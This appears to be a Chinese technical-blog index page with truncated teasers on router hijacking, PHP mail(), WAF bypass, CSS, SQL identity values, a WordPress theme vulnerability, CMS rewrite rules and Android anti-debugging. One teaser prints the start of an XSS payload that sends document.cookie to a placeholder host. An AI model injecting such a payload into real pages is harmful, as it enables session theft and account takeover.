流量劫持，这种古老的攻击沉寂了一段时间后，最近又开始闹的沸沸扬扬。众多知名品牌的路由器相继爆出存在安全漏洞，引来国内媒体纷纷报道。只要用户没改默认密码，打开一个网页甚至帖子，路由器配置就会被暗中修改。...
网络安全
网络安全
城管买早餐
城管买早餐 早市上卖早点的看见带有“行政执法”的车开了过来，大家马上四散跑开。车停了，车上下来两个人，无奈的互相看了一眼，其中一个说：“我说不开车吧！你非要开，看看，又没买到早餐！”
PHP
FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行： char *sendmai...
WooYun-Zone
multipart/form-data PHP和Java通用的WAF绕过方法
依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 原文简单的描述了PHP在处理POST请求的时候会解析...
编程茶楼
利用边框border属性做的网页小符号教程
前两天学习中，发现网站上的一个小符号，以为是插入的img，但找来找去也未发现img的地址。最后问了同学，才得知是用border属性做出来的。 符号如右： 其css代码如下： 复制代码代码如下: .fu...
@@IDENTITY与SCOPE_IDENTITY()
在一条 INSERT、SELECT INTO 或大容量复制语句完成后，@@IDENTITY 中包含语句生成的最后一个标识值。如果语句未影响任何包含标识列的表，则 @@IDENTITY 返回 NUL...
Seay信息安全博客
漏洞播报：WordPress多个CMSMasters主题’upload.p
显示不全请点击全屏阅读 漏洞版本:cmsmasters Clockstone Clockstone是Wordpress的终极主题，一个单一的主题内集合了众多功能。 WordPress的Cl...
帝国cms7.2版本默认伪静态规则
内容摘要 暂时只有APACHE IIS6 IIS7的规则，其他规则自行对照修改即可。不是很严谨，自己可以往严谨中修改：仅供参考！ apache下的.htaccess：RewriteEngine OnE...
asp php XSS获取cookie的代码
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" wi...
WooYun-Drops
Android应用方法隐藏及反调试技术浅析 – 猎豹科学
http://drops.wooyun.org/tips/9471 0x00 前言 Android应用的加固和对抗不断升级，单纯的静态加固效果已无法满足需求，所以出现了隐藏方法加固，运行时动态恢复和反...
